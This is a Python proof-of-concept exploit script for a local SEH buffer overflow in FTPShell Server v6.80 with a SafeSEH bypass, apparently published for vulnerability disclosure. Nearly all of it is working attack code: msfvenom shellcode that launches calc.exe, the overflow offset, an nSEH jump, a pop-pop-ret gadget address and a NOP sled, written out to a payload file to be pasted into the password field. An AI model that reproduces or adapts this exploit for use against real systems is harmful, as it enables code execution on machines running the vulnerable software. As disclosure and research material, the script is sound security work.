#!/usr/bin/python
#----------------------------------------------------------------------------------------------------------#
# Exploit Title      : FTPShell Server v6.80 - Local Buffer Overflow (SafeSEH Bypass)                      #
# Exploit Author     : Hashim Jawad - @ihack4falafel                                                       #
# Vendor Homepage    : http://www.ftpshell.com/                                                            #
# Vulnerable Software: http://www.ftpshell.com/downloadserver.htm                                          #
# Tested on          : Windows XP Professional SP3                                                         #
# Steps to reproduce : paste contents of Evil.txt in 'Password' field under configure accounts>Change pass #
#----------------------------------------------------------------------------------------------------------#

'''
Notes:
=====
* All loaded modules including base binary are compiled with /SAFESEH
* Null byte '\x00' get mangled by the program and end up as space '\x20'
'''

#root@kali:~# msfvenom -p windows/exec cmd=calc.exe -e x86/alpha_mixed -b "\x00\x0a\x0d" -f python -v shellcode
#Payload size: 447 bytes
shellcode =  ""
shellcode += "\x89\xe0\xd9\xed\xd9\x70\xf4\x5a\x4a\x4a\x4a\x4a"
shellcode += "\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x43\x43\x43\x43\x43"
shellcode += "\x43\x37\x52\x59\x6a\x41\x58\x50\x30\x41\x30\x41"
shellcode += "\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42"
shellcode += "\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x79"
shellcode += "\x6c\x7a\x48\x4c\x42\x67\x70\x73\x30\x57\x70\x43"
shellcode += "\x50\x4d\x59\x4b\x55\x36\x51\x59\x50\x61\x74\x4e"
shellcode += "\x6b\x56\x30\x46\x50\x6e\x6b\x61\x42\x56\x6c\x6c"
shellcode += "\x4b\x72\x72\x32\x34\x6e\x6b\x61\x62\x37\x58\x76"
shellcode += "\x6f\x38\x37\x72\x6a\x54\x66\x55\x61\x4b\x4f\x4e"
shellcode += "\x4c\x45\x6c\x30\x61\x71\x6c\x35\x52\x46\x4c\x45"
shellcode += "\x70\x6b\x71\x58\x4f\x44\x4d\x77\x71\x69\x57\x7a"
shellcode += "\x42\x6c\x32\x63\x62\x46\x37\x4e\x6b\x62\x72\x62"
shellcode += "\x30\x6e\x6b\x53\x7a\x47\x4c\x4c\x4b\x52\x6c\x74"
shellcode += "\x51\x52\x58\x6b\x53\x62\x68\x77\x71\x5a\x71\x62"
shellcode += "\x71\x4e\x6b\x76\x39\x57\x50\x36\x61\x4a\x73\x6e"
shellcode += "\x6b\x47\x39\x56\x78\x59\x73\x65\x6a\x52\x69\x6e"
shellcode += "\x6b\x57\x44\x6c\x4b\x67\x71\x4e\x36\x34\x71\x6b"
shellcode += "\x4f\x6e\x4c\x5a\x61\x58\x4f\x74\x4d\x76\x61\x4b"
shellcode += "\x77\x70\x38\x69\x70\x52\x55\x38\x76\x75\x53\x51"
shellcode += "\x6d\x59\x68\x65\x6b\x73\x4d\x65\x74\x43\x45\x78"
shellcode += "\x64\x61\x48\x6c\x4b\x36\x38\x67\x54\x76\x61\x49"
shellcode += "\x43\x73\x56\x4c\x4b\x76\x6c\x50\x4b\x6e\x6b\x31"
shellcode += "\x48\x77\x6c\x43\x31\x79\x43\x6e\x6b\x43\x34\x4c"
shellcode += "\x4b\x53\x31\x7a\x70\x4d\x59\x37\x34\x66\x44\x67"
shellcode += "\x54\x33\x6b\x53\x6b\x50\x61\x30\x59\x31\x4a\x63"
shellcode += "\x61\x69\x6f\x59\x70\x71\x4f\x51\x4f\x33\x6a\x6e"
shellcode += "\x6b\x76\x72\x6a\x4b\x6e\x6d\x33\x6d\x43\x5a\x63"
shellcode += "\x31\x6c\x4d\x6c\x45\x4c\x72\x47\x70\x45\x50\x33"
shellcode += "\x30\x56\x30\x53\x58\x74\x71\x4e\x6b\x62\x4f\x4f"
shellcode += "\x77\x59\x6f\x6b\x65\x6f\x4b\x4c\x30\x4f\x45\x6d"
shellcode += "\x72\x43\x66\x62\x48\x39\x36\x6a\x35\x6f\x4d\x4d"
shellcode += "\x4d\x59\x6f\x5a\x75\x47\x4c\x53\x36\x63\x4c\x55"
shellcode += "\x5a\x4f\x70\x49\x6b\x6d\x30\x31\x65\x53\x35\x6d"
shellcode += "\x6b\x62\x67\x37\x63\x30\x72\x62\x4f\x32\x4a\x55"
shellcode += "\x50\x70\x53\x79\x6f\x6e\x35\x31\x73\x71\x71\x30"
shellcode += "\x6c\x71\x73\x46\x4e\x43\x55\x51\x68\x35\x35\x35"
shellcode += "\x50\x41\x41"

buffer  = '\xcc' * 2101                      # filler to nSEH offset
buffer += '\xeb\x06\x90\x90'                 # nSEH | hop over SEH
buffer += '\x18\x05\xfc\x7f'                 # SEH  | 0x7ffc0518 : pop edi # pop edi # ret  [SafeSEH Bypass]
buffer += '\x90' * 10                        # nops sled
buffer += shellcode                          # calc.exe
buffer += '\xcc' * (5000-2101-4-4-10-len(shellcode))

try:
 f=open("Evil.txt","w")
 print "[+] Creating %s bytes evil payload.." %len(buffer)
 f.write(buffer)
 f.close()
 print "[+] File created!"
except Exception as e:
 print e